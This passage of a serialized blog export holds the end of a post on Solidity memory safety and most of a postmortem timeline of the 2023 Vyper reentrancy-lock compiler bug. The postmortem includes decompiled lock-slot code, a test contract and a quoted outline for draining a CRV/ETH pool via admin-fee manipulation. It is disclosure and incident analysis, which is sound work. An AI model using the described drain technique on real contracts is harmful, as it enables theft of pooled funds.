line",{"type":29,"value":87},{"type":24,"tag":25,"props":35611,"children":35612},{},[35613,35615,35622,35623,35628],{"type":29,"value":35614},"Going back to Solidity, the specification makes ",{"type":24,"tag":2773,"props":35616,"children":35619},{"href":35617,"rel":35618},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[2777],[35620],{"type":29,"value":35621},"it unambiguously clear",{"type":29,"value":24139},{"type":24,"tag":8545,"props":35624,"children":35625},{},[35626],{"type":29,"value":35627},"Thou shalt not modify the zero slot",{"type":29,"value":87},{"type":24,"tag":98,"props":35630,"children":35631},{},[35632],{"type":24,"tag":25,"props":35633,"children":35634},{},[35635],{"type":29,"value":35636},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":24,"tag":25,"props":35638,"children":35639},{},[35640,35642,35647],{"type":29,"value":35641},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":24,"tag":8545,"props":35643,"children":35644},{},[35645],{"type":29,"value":35646},"in Solidity",{"type":29,"value":87},{"type":24,"tag":25,"props":35649,"children":35650},{},[35651],{"type":29,"value":35652},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":24,"tag":2674,"props":35654,"children":35655},{},[35656],{"type":24,"tag":2678,"props":35657,"children":35658},{},[35659,35661,35668],{"type":29,"value":35660},"It very clearly ",{"type":24,"tag":2773,"props":35662,"children":35665},{"href":35663,"rel":35664},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[2777],[35666],{"type":29,"value":35667},"holds true today",{"type":29,"value":87},{"type":24,"tag":137,"props":35670,"children":35672},{"className":34712,"code":35671,"language":34714,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[35673],{"type":24,"tag":80,"props":35674,"children":35675},{"__ignoreMap":7},[35676,35716,35723,35736,35808,35829,35880,35887],{"type":24,"tag":147,"props":35677,"children":35678},{"class":149,"line":150},[35679,35683,35688,35693,35697,35702,35707,35712],{"type":24,"tag":147,"props":35680,"children":35681},{"style":218},[35682],{"type":29,"value":35286},{"type":24,"tag":147,"props":35684,"children":35685},{"style":235},[35686],{"type":29,"value":35687}," IRGeneratorForStatements::",{"type":24,"tag":147,"props":35689,"children":35690},{"style":229},[35691],{"type":29,"value":35692},"visit",{"type":24,"tag":147,"props":35694,"children":35695},{"style":235},[35696],{"type":29,"value":480},{"type":24,"tag":147,"props":35698,"children":35699},{"style":9044},[35700],{"type":29,"value":35701},"InlineAssembly",{"type":24,"tag":147,"props":35703,"children":35704},{"style":218},[35705],{"type":29,"value":35706}," const&",{"type":24,"tag":147,"props":35708,"children":35709},{"style":247},[35710],{"type":29,"value":35711}," _inlineAsm",{"type":24,"tag":147,"props":35713,"children":35714},{"style":235},[35715],{"type":29,"value":269},{"type":24,"tag":147,"props":35717,"children":35718},{"class":149,"line":160},[35719],{"type":24,"tag":147,"props":35720,"children":35721},{"style":235},[35722],{"type":29,"value":278},{"type":24,"tag":147,"props":35724,"children":35725},{"class":149,"line":169},[35726,35731],{"type":24,"tag":147,"props":35727,"children":35728},{"style":229},[35729],{"type":29,"value":35730},"    setLocation",{"type":24,"tag":147,"props":35732,"children":35733},{"style":235},[35734],{"type":29,"value":35735},"(_inlineAsm);\n",{"type":24,"tag":147,"props":35737,"children":35738},{"class":149,"line":178},[35739,35743,35747,35751,35756,35760,35765,35770,35775,35779,35783,35787,35791,35795,35799,35804],{"type":24,"tag":147,"props":35740,"children":35741},{"style":321},[35742],{"type":29,"value":4759},{"type":24,"tag":147,"props":35744,"children":35745},{"style":235},[35746],{"type":29,"value":408},{"type":24,"tag":147,"props":35748,"children":35749},{"style":241},[35750],{"type":29,"value":244},{"type":24,"tag":147,"props":35752,"children":35753},{"style":247},[35754],{"type":29,"value":35755},"_inlineAsm",{"type":24,"tag":147,"props":35757,"children":35758},{"style":235},[35759],{"type":29,"value":87},{"type":24,"tag":147,"props":35761,"children":35762},{"style":229},[35763],{"type":29,"value":35764},"annotation",{"type":24,"tag":147,"props":35766,"children":35767},{"style":235},[35768],{"type":29,"value":35769},"().",{"type":24,"tag":147,"props":35771,"children":35772},{"style":247},[35773],{"type":29,"value":35774},"hasMemoryEffects",{"type":24,"tag":147,"props":35776,"children":35777},{"style":241},[35778],{"type":29,"value":4269},{"type":24,"tag":147,"props":35780,"children":35781},{"style":241},[35782],{"type":29,"value":3598},{"type":24,"tag":147,"props":35784,"children":35785},{"style":247},[35786],{"type":29,"value":35755},{"type":24,"tag":147,"props":35788,"children":35789},{"style":235},[35790],{"type":29,"value":87},{"type":24,"tag":147,"props":35792,"children":35793},{"style":229},[35794],{"type":29,"value":35764},{"type":24,"tag":147,"props":35796,"children":35797},{"style":235},[35798],{"type":29,"value":35769},{"type":24,"tag":147,"props":35800,"children":35801},{"style":247},[35802],{"type":29,"value":35803},"markedMemorySafe",{"type":24,"tag":147,"props":35805,"children":35806},{"style":235},[35807],{"type":29,"value":269},{"type":24,"tag":147,"props":35809,"children":35810},{"class":149,"line":187},[35811,35816,35820,35825],{"type":24,"tag":147,"props":35812,"children":35813},{"style":247},[35814],{"type":29,"value":35815},"        m_context",{"type":24,"tag":147,"props":35817,"children":35818},{"style":235},[35819],{"type":29,"value":87},{"type":24,"tag":147,"props":35821,"children":35822},{"style":229},[35823],{"type":29,"value":35824},"setMemoryUnsafeInlineAssemblySeen",{"type":24,"tag":147,"props":35826,"children":35827},{"style":235},[35828],{"type":29,"value":9295},{"type":24,"tag":147,"props":35830,"children":35831},{"class":149,"line":196},[35832,35837,35841,35845,35850,35855,35859,35863,35867,35871,35876],{"type":24,"tag":147,"props":35833,"children":35834},{"style":235},[35835],{"type":29,"value":35836},"    CopyTranslate bodyCopier{",{"type":24,"tag":147,"props":35838,"children":35839},{"style":247},[35840],{"type":29,"value":35755},{"type":24,"tag":147,"props":35842,"children":35843},{"style":235},[35844],{"type":29,"value":87},{"type":24,"tag":147,"props":35846,"children":35847},{"style":229},[35848],{"type":29,"value":35849},"dialect",{"type":24,"tag":147,"props":35851,"children":35852},{"style":235},[35853],{"type":29,"value":35854},"(), m_context, ",{"type":24,"tag":147,"props":35856,"children":35857},{"style":247},[35858],{"type":29,"value":35755},{"type":24,"tag":147,"props":35860,"children":35861},{"style":235},[35862],{"type":29,"value":87},{"type":24,"tag":147,"props":35864,"children":35865},{"style":229},[35866],{"type":29,"value":35764},{"type":24,"tag":147,"props":35868,"children":35869},{"style":235},[35870],{"type":29,"value":35769},{"type":24,"tag":147,"props":35872,"children":35873},{"style":247},[35874],{"type":29,"value":35875},"externalReferences",{"type":24,"tag":147,"props":35877,"children":35878},{"style":235},[35879],{"type":29,"value":1120},{"type":24,"tag":147,"props":35881,"children":35882},{"class":149,"line":205},[35883],{"type":24,"tag":147,"props":35884,"children":35885},{"emptyLinePlaceholder":16},[35886],{"type":29,"value":314},{"type":24,"tag":147,"props":35888,"children":35889},{"class":149,"line":214},[35890,35895,35899,35904,35908,35912,35916,35921],{"type":24,"tag":147,"props":35891,"children":35892},{"style":235},[35893],{"type":29,"value":35894},"    yul::Statement modified ",{"type":24,"tag":147,"props":35896,"children":35897},{"style":241},[35898],{"type":29,"value":369},{"type":24,"tag":147,"props":35900,"children":35901},{"style":229},[35902],{"type":29,"value":35903}," bodyCopier",{"type":24,"tag":147,"props":35905,"children":35906},{"style":235},[35907],{"type":29,"value":480},{"type":24,"tag":147,"props":35909,"children":35910},{"style":247},[35911],{"type":29,"value":35755},{"type":24,"tag":147,"props":35913,"children":35914},{"style":235},[35915],{"type":29,"value":87},{"type":24,"tag":147,"props":35917,"children":35918},{"style":229},[35919],{"type":29,"value":35920},"operations",{"type":24,"tag":147,"props":35922,"children":35923},{"style":235},[35924],{"type":29,"value":35925},"());`\n",{"type":24,"tag":2674,"props":35927,"children":35928},{"start":160},[35929],{"type":24,"tag":2678,"props":35930,"children":35931},{},[35932],{"type":29,"value":35933},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":24,"tag":25,"props":35935,"children":35936},{},[35937],{"type":29,"value":35938},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":24,"tag":32,"props":35940,"children":35941},{"id":10934},[35942],{"type":29,"value":10937},{"type":24,"tag":25,"props":35944,"children":35945},{},[35946],{"type":29,"value":35947},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":24,"tag":25,"props":35949,"children":35950},{},[35951],{"type":29,"value":35952},"It's a promise between YUL generation and optimization.",{"type":24,"tag":24029,"props":35954,"children":35956},{"className":35955,"dataFootnotes":7},[24032],[35957,35962],{"type":24,"tag":32,"props":35958,"children":35960},{"className":35959,"id":21092},[24037],[35961],{"type":29,"value":24040},{"type":24,"tag":2674,"props":35963,"children":35964},{},[35965,35999],{"type":24,"tag":2678,"props":35966,"children":35968},{"id":35967},"user-content-fn-1",[35969,35971,35976,35978,35984,35986,35991,35993],{"type":29,"value":35970},"As an interesting aside, ",{"type":24,"tag":80,"props":35972,"children":35974},{"className":35973},[],[35975],{"type":29,"value":34972},{"type":29,"value":35977}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":24,"tag":80,"props":35979,"children":35981},{"className":35980},[],[35982],{"type":29,"value":35983},"memory-unsafe",{"type":29,"value":35985}," code can ",{"type":24,"tag":8545,"props":35987,"children":35988},{},[35989],{"type":29,"value":35990},"decrease",{"type":29,"value":35992}," gas consumption, especially in the YUL header. ",{"type":24,"tag":2773,"props":35994,"children":35997},{"href":35995,"ariaLabel":24143,"className":35996,"dataFootnoteBackref":7},"#user-content-fnref-1",[24145],[35998],{"type":29,"value":24148},{"type":24,"tag":2678,"props":36000,"children":36002},{"id":36001},"user-content-fn-2",[36003,36005,36010,36012],{"type":29,"value":36004},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":24,"tag":8545,"props":36006,"children":36007},{},[36008],{"type":29,"value":36009},"guarantee",{"type":29,"value":36011}," behavior with opaque bytes. ",{"type":24,"tag":2773,"props":36013,"children":36016},{"href":36014,"ariaLabel":24163,"className":36015,"dataFootnoteBackref":7},"#user-content-fnref-2",[24145],[36017],{"type":29,"value":24148},{"type":24,"tag":8473,"props":36019,"children":36020},{},[36021],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":36023},[36024,36025,36026,36027,36028,36029,36030],{"id":34617,"depth":160,"text":34620},{"id":34671,"depth":160,"text":34674},{"id":34934,"depth":160,"text":34937},{"id":34666,"depth":160,"text":35157},{"id":35504,"depth":160,"text":35507},{"id":10934,"depth":160,"text":10937},{"id":21092,"depth":160,"text":24040},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":36035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":36036,"description":36037,"author":11344,"image":36038,"date":36040,"isFeatured":16,"onBlogPage":16,"tags":36041,"body":36043,"_type":8496,"_id":36793,"_source":8498,"_file":36794,"_stem":36795,"_extension":8501},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":36039,"height":15,"width":15},"/posts/vyper-timeline/header.jpg","2023-08-01",[36042,34612],"vyper",{"type":21,"children":36044,"toc":36784},[36045,36050,36055,36060,36066,36071,36089,36099,36104,36112,36122,36141,36221,36231,36391,36396,36401,36411,36418,36423,36428,36442,36447,36464,36481,36500,36510,36523,36528,36541,36546,36551,36561,36587,36597,36627,36633,36642,36648,36653,36658,36663,36669,36674,36688,36693,36698,36703,36709,36714,36727,36753,36758,36780],{"type":24,"tag":25,"props":36046,"children":36047},{},[36048],{"type":29,"value":36049},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":24,"tag":25,"props":36051,"children":36052},{},[36053],{"type":29,"value":36054},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":24,"tag":25,"props":36056,"children":36057},{},[36058],{"type":29,"value":36059},"Here's how it all happened.",{"type":24,"tag":32,"props":36061,"children":36063},{"id":36062},"timeline",[36064],{"type":29,"value":36065},"Timeline",{"type":24,"tag":25,"props":36067,"children":36068},{},[36069],{"type":29,"value":36070},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":24,"tag":25,"props":36072,"children":36073},{},[36074,36079,36081,36088],{"type":24,"tag":10949,"props":36075,"children":36076},{},[36077],{"type":29,"value":36078},"13:10 UTC",{"type":29,"value":36080}," pETH/ETH was ",{"type":24,"tag":2773,"props":36082,"children":36085},{"href":36083,"rel":36084},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[2777],[36086],{"type":29,"value":36087},"drained of $11M",{"type":29,"value":87},{"type":24,"tag":25,"props":36090,"children":36091},{},[36092,36097],{"type":24,"tag":10949,"props":36093,"children":36094},{},[36095],{"type":29,"value":36096},"13:19 UTC",{"type":29,"value":36098}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":24,"tag":25,"props":36100,"children":36101},{},[36102],{"type":29,"value":36103},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":24,"tag":98,"props":36105,"children":36106},{},[36107],{"type":24,"tag":25,"props":36108,"children":36109},{},[36110],{"type":29,"value":36111},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":24,"tag":25,"props":36113,"children":36114},{},[36115,36120],{"type":24,"tag":10949,"props":36116,"children":36117},{},[36118],{"type":29,"value":36119},"14:01 UTC",{"type":29,"value":36121}," A warroom was formed around this comment.",{"type":24,"tag":25,"props":36123,"children":36124},{},[36125,36130,36132,36139],{"type":24,"tag":10949,"props":36126,"children":36127},{},[36128],{"type":29,"value":36129},"14:07 UTC",{"type":29,"value":36131}," We decompiled the JPEGd contract ",{"type":24,"tag":2773,"props":36133,"children":36136},{"href":36134,"rel":36135},"https://ethervm.io/decompile",[2777],[36137],{"type":29,"value":36138},"with our favorite decompiler",{"type":29,"value":36140}," and noted a difference in reentrancy guard storage slot.",{"type":24,"tag":137,"props":36142,"children":36146},{"className":36143,"code":36144,"language":36145,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[36147],{"type":24,"tag":80,"props":36148,"children":36149},{"__ignoreMap":7},[36150,36158,36166,36174,36182,36189,36197,36205,36213],{"type":24,"tag":147,"props":36151,"children":36152},{"class":149,"line":150},[36153],{"type":24,"tag":147,"props":36154,"children":36155},{},[36156],{"type":29,"value":36157},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":24,"tag":147,"props":36159,"children":36160},{"class":149,"line":160},[36161],{"type":24,"tag":147,"props":36162,"children":36163},{},[36164],{"type":29,"value":36165},"label_0057:\n",{"type":24,"tag":147,"props":36167,"children":36168},{"class":149,"line":169},[36169],{"type":24,"tag":147,"props":36170,"children":36171},{},[36172],{"type":29,"value":36173},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":147,"props":36175,"children":36176},{"class":149,"line":178},[36177],{"type":24,"tag":147,"props":36178,"children":36179},{},[36180],{"type":29,"value":36181},"    storage[0x00] = 0x01;\n",{"type":24,"tag":147,"props":36183,"children":36184},{"class":149,"line":187},[36185],{"type":24,"tag":147,"props":36186,"children":36187},{"emptyLinePlaceholder":16},[36188],{"type":29,"value":314},{"type":24,"tag":147,"props":36190,"children":36191},{"class":149,"line":196},[36192],{"type":24,"tag":147,"props":36193,"children":36194},{},[36195],{"type":29,"value":36196},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":24,"tag":147,"props":36198,"children":36199},{"class":149,"line":205},[36200],{"type":24,"tag":147,"props":36201,"children":36202},{},[36203],{"type":29,"value":36204},"label_1AF3:\n",{"type":24,"tag":147,"props":36206,"children":36207},{"class":149,"line":214},[36208],{"type":24,"tag":147,"props":36209,"children":36210},{},[36211],{"type":29,"value":36212},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":147,"props":36214,"children":36215},{"class":149,"line":272},[36216],{"type":24,"tag":147,"props":36217,"children":36218},{},[36219],{"type":29,"value":36220},"    storage[0x02] = 0x01;\n",{"type":24,"tag":25,"props":36222,"children":36223},{},[36224,36229],{"type":24,"tag":10949,"props":36225,"children":36226},{},[36227],{"type":29,"value":36228},"14:27 UTC",{"type":29,"value":36230}," We confirmed this behavior with a simple local test contract.",{"type":24,"tag":137,"props":36232,"children":36234},{"className":25066,"code":36233,"language":25065,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[36235],{"type":24,"tag":80,"props":36236,"children":36237},{"__ignoreMap":7},[36238,36246,36267,36302,36314,36321,36328,36347,36379],{"type":24,"tag":147,"props":36239,"children":36240},{"class":149,"line":150},[36241],{"type":24,"tag":147,"props":36242,"children":36243},{"style":229},[36244],{"type":29,"value":36245},"@external\n",{"type":24,"tag":147,"props":36247,"children":36248},{"class":149,"line":160},[36249,36254,36258,36263],{"type":24,"tag":147,"props":36250,"children":36251},{"style":229},[36252],{"type":29,"value":36253},"@nonreentrant",{"type":24,"tag":147,"props":36255,"children":36256},{"style":235},[36257],{"type":29,"value":480},{"type":24,"tag":147,"props":36259,"children":36260},{"style":3534},[36261],{"type":29,"value":36262},"\"lock\"",{"type":24,"tag":147,"props":36264,"children":36265},{"style":235},[36266],{"type":29,"value":269},{"type":24,"tag":147,"props":36268,"children":36269},{"class":149,"line":169},[36270,36275,36280,36284,36289,36294,36298],{"type":24,"tag":147,"props":36271,"children":36272},{"style":218},[36273],{"type":29,"value":36274},"def",{"type":24,"tag":147,"props":36276,"children":36277},{"style":229},[36278],{"type":29,"value":36279}," test",{"type":24,"tag":147,"props":36281,"children":36282},{"style":235},[36283],{"type":29,"value":480},{"type":24,"tag":147,"props":36285,"children":36286},{"style":247},[36287],{"type":29,"value":36288},"addr",{"type":24,"tag":147,"props":36290,"children":36291},{"style":235},[36292],{"type":29,"value":36293},": address) -> ",{"type":24,"tag":147,"props":36295,"children":36296},{"style":9044},[36297],{"type":29,"value":35286},{"type":24,"tag":147,"props":36299,"children":36300},{"style":235},[36301],{"type":29,"value":11192},{"type":24,"tag":147,"props":36303,"children":36304},{"class":149,"line":178},[36305,36309],{"type":24,"tag":147,"props":36306,"children":36307},{"style":321},[36308],{"type":29,"value":2597},{"type":24,"tag":147,"props":36310,"children":36311},{"style":218},[36312],{"type":29,"value":36313}," True\n",{"type":24,"tag":147,"props":36315,"children":36316},{"class":149,"line":187},[36317],{"type":24,"tag":147,"props":36318,"children":36319},{"emptyLinePlaceholder":16},[36320],{"type":29,"value":314},{"type":24,"tag":147,"props":36322,"children":36323},{"class":149,"line":196},[36324],{"type":24,"tag":147,"props":36325,"children":36326},{"style":229},[36327],{"type":29,"value":36245},{"type":24,"tag":147,"props":36329,"children":36330},{"class":149,"line":205},[36331,36335,36339,36343],{"type":24,"tag":147,"props":36332,"children":36333},{"style":229},[36334],{"type":29,"value":36253},{"type":24,"tag":147,"props":36336,"children":36337},{"style":235},[36338],{"type":29,"value":480},{"type":24,"tag":147,"props":36340,"children":36341},{"style":3534},[36342],{"type":29,"value":36262},{"type":24,"tag":147,"props":36344,"children":36345},{"style":235},[36346],{"type":29,"value":269},{"type":24,"tag":147,"props":36348,"children":36349},{"class":149,"line":214},[36350,36354,36359,36363,36367,36371,36375],{"type":24,"tag":147,"props":36351,"children":36352},{"style":218},[36353],{"type":29,"value":36274},{"type":24,"tag":147,"props":36355,"children":36356},{"style":229},[36357],{"type":29,"value":36358}," test2",{"type":24,"tag":147,"props":36360,"children":36361},{"style":235},[36362],{"type":29,"value":480},{"type":24,"tag":147,"props":36364,"children":36365},{"style":247},[36366],{"type":29,"value":36288},{"type":24,"tag":147,"props":36368,"children":36369},{"style":235},[36370],{"type":29,"value":36293},{"type":24,"tag":147,"props":36372,"children":36373},{"style":9044},[36374],{"type":29,"value":35286},{"type":24,"tag":147,"props":36376,"children":36377},{"style":235},[36378],{"type":29,"value":11192},{"type":24,"tag":147,"props":36380,"children":36381},{"class":149,"line":272},[36382,36386],{"type":24,"tag":147,"props":36383,"children":36384},{"style":321},[36385],{"type":29,"value":2597},{"type":24,"tag":147,"props":36387,"children":36388},{"style":218},[36389],{"type":29,"value":36390}," False\n",{"type":24,"tag":25,"props":36392,"children":36393},{},[36394],{"type":29,"value":36395},"This was not just another reentrancy bug.",{"type":24,"tag":25,"props":36397,"children":36398},{},[36399],{"type":29,"value":36400},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":24,"tag":25,"props":36402,"children":36403},{},[36404,36409],{"type":24,"tag":10949,"props":36405,"children":36406},{},[36407],{"type":29,"value":36408},"14:37 UTC",{"type":29,"value":36410}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":24,"tag":25,"props":36412,"children":36413},{},[36414],{"type":24,"tag":63,"props":36415,"children":36417},{"alt":7,"src":36416},"/posts/vyper-timeline/sstore.png",[],{"type":24,"tag":25,"props":36419,"children":36420},{},[36421],{"type":29,"value":36422},"It was a race with the hackers.",{"type":24,"tag":25,"props":36424,"children":36425},{},[36426],{"type":29,"value":36427},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":24,"tag":98,"props":36429,"children":36430},{},[36431],{"type":24,"tag":25,"props":36432,"children":36433},{},[36434,36436],{"type":29,"value":36435},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":24,"tag":2773,"props":36437,"children":36440},{"href":36438,"rel":36439},"https://twitter.com/hexagate_/status/1685677801813217280",[2777],[36441],{"type":29,"value":36438},{"type":24,"tag":25,"props":36443,"children":36444},{},[36445],{"type":29,"value":36446},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":24,"tag":25,"props":36448,"children":36449},{},[36450,36455,36456,36463],{"type":24,"tag":10949,"props":36451,"children":36452},{},[36453],{"type":29,"value":36454},"14:50 UTC",{"type":29,"value":12083},{"type":24,"tag":2773,"props":36457,"children":36460},{"href":36458,"rel":36459},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[2777],[36461],{"type":29,"value":36462},"msETH/ETH was drained",{"type":29,"value":87},{"type":24,"tag":25,"props":36465,"children":36466},{},[36467,36472,36473,36480],{"type":24,"tag":10949,"props":36468,"children":36469},{},[36470],{"type":29,"value":36471},"15:34 UTC",{"type":29,"value":12083},{"type":24,"tag":2773,"props":36474,"children":36477},{"href":36475,"rel":36476},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[2777],[36478],{"type":29,"value":36479},"alETH/ETH was drained",{"type":29,"value":87},{"type":24,"tag":25,"props":36482,"children":36483},{},[36484,36489,36491,36498],{"type":24,"tag":10949,"props":36485,"children":36486},{},[36487],{"type":29,"value":36488},"15:43 UTC",{"type":29,"value":36490}," We identified that ",{"type":24,"tag":2773,"props":36492,"children":36495},{"href":36493,"rel":36494},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[2777],[36496],{"type":29,"value":36497},"CRV/ETH was vulnerable",{"type":29,"value":36499},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":24,"tag":25,"props":36501,"children":36502},{},[36503,36508],{"type":24,"tag":10949,"props":36504,"children":36505},{},[36506],{"type":29,"value":36507},"16:11 UTC",{"type":29,"value":36509}," We began working on a whitehat exploit.",{"type":24,"tag":25,"props":36511,"children":36512},{},[36513,36515,36522],{"type":29,"value":36514},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":24,"tag":2773,"props":36516,"children":36519},{"href":36517,"rel":36518},"https://twitter.com/vyperlang/status/1685692973051498497",[2777],[36520],{"type":29,"value":36521},"public statement on affected versions",{"type":29,"value":87},{"type":24,"tag":25,"props":36524,"children":36525},{},[36526],{"type":29,"value":36527},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":24,"tag":25,"props":36529,"children":36530},{},[36531,36533,36540],{"type":29,"value":36532},"Five minutes later at 19:11 UTC, ",{"type":24,"tag":2773,"props":36534,"children":36537},{"href":36535,"rel":36536},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[2777],[36538],{"type":29,"value":36539},"somebody else stole the funds",{"type":29,"value":87},{"type":24,"tag":25,"props":36542,"children":36543},{},[36544],{"type":29,"value":36545},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":24,"tag":25,"props":36547,"children":36548},{},[36549],{"type":29,"value":36550},"Nevertheless, there was more ground to cover.",{"type":24,"tag":25,"props":36552,"children":36553},{},[36554,36559],{"type":24,"tag":10949,"props":36555,"children":36556},{},[36557],{"type":29,"value":36558},"21:26 UTC",{"type":29,"value":36560}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":24,"tag":98,"props":36562,"children":36563},{},[36564],{"type":24,"tag":25,"props":36565,"children":36566},{},[36567,36569,36572,36574,36577,36579,36582,36584],{"type":29,"value":36568},"if you send like 30k crv to the crv/eth pool ",{"type":24,"tag":8388,"props":36570,"children":36571},{},[],{"type":29,"value":36573},"\nyou can then update admin fee ",{"type":24,"tag":8388,"props":36575,"children":36576},{},[],{"type":29,"value":36578},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":24,"tag":8388,"props":36580,"children":36581},{},[],{"type":29,"value":36583},"\nso you can basically drain whole pool for few hundred K crv ",{"type":24,"tag":8388,"props":36585,"children":36586},{},[],{"type":24,"tag":25,"props":36588,"children":36589},{},[36590,36595],{"type":24,"tag":10949,"props":36591,"children":36592},{},[36593],{"type":29,"value":36594},"21:52 UTC",{"type":29,"value":36596}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":24,"tag":25,"props":36598,"children":36599},{},[36600,36602,36609,36611,36618,36626],{"type":29,"value":36601},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":24,"tag":2773,"props":36603,"children":36606},{"href":36604,"rel":36605},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[2777],[36607],{"type":29,"value":36608},"CRV admin fee bot",{"type":29,"value":36610}," had claimed fees and ",{"type":24,"tag":2773,"props":36612,"children":36615},{"href":36613,"rel":36614},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[2777],[36616],{"type":29,"value":36617},"the pool was drained",{"type":24,"tag":21085,"props":36619,"children":36620},{},[36621],{"type":24,"tag":2773,"props":36622,"children":36624},{"href":35224,"ariaDescribedBy":36623,"dataFootnoteRef":7,"id":35226},[21092],[36625],{"type":29,"value":1154},{"type":29,"value":87},{"type":24,"tag":32,"props":36628,"children":36630},{"id":36629},"blame",[36631],{"type":29,"value":36632},"Blame",{"type":24,"tag":25,"props":36634,"children":36635},{},[36636,36640],{"type":24,"tag":8545,"props":36637,"children":36638},{},[36639],{"type":29,"value":36632},{"type":29,"value":36641}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":24,"tag":43,"props":36643,"children":36645},{"id":36644},"races",[36646],{"type":29,"value":36647},"Races",{"type":24,"tag":25,"props":36649,"children":36650},{},[36651],{"type":29,"value":36652},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":24,"tag":25,"props":36654,"children":36655},{},[36656],{"type":29,"value":36657},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":24,"tag":25,"props":36659,"children":36660},{},[36661],{"type":29,"value":36662},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 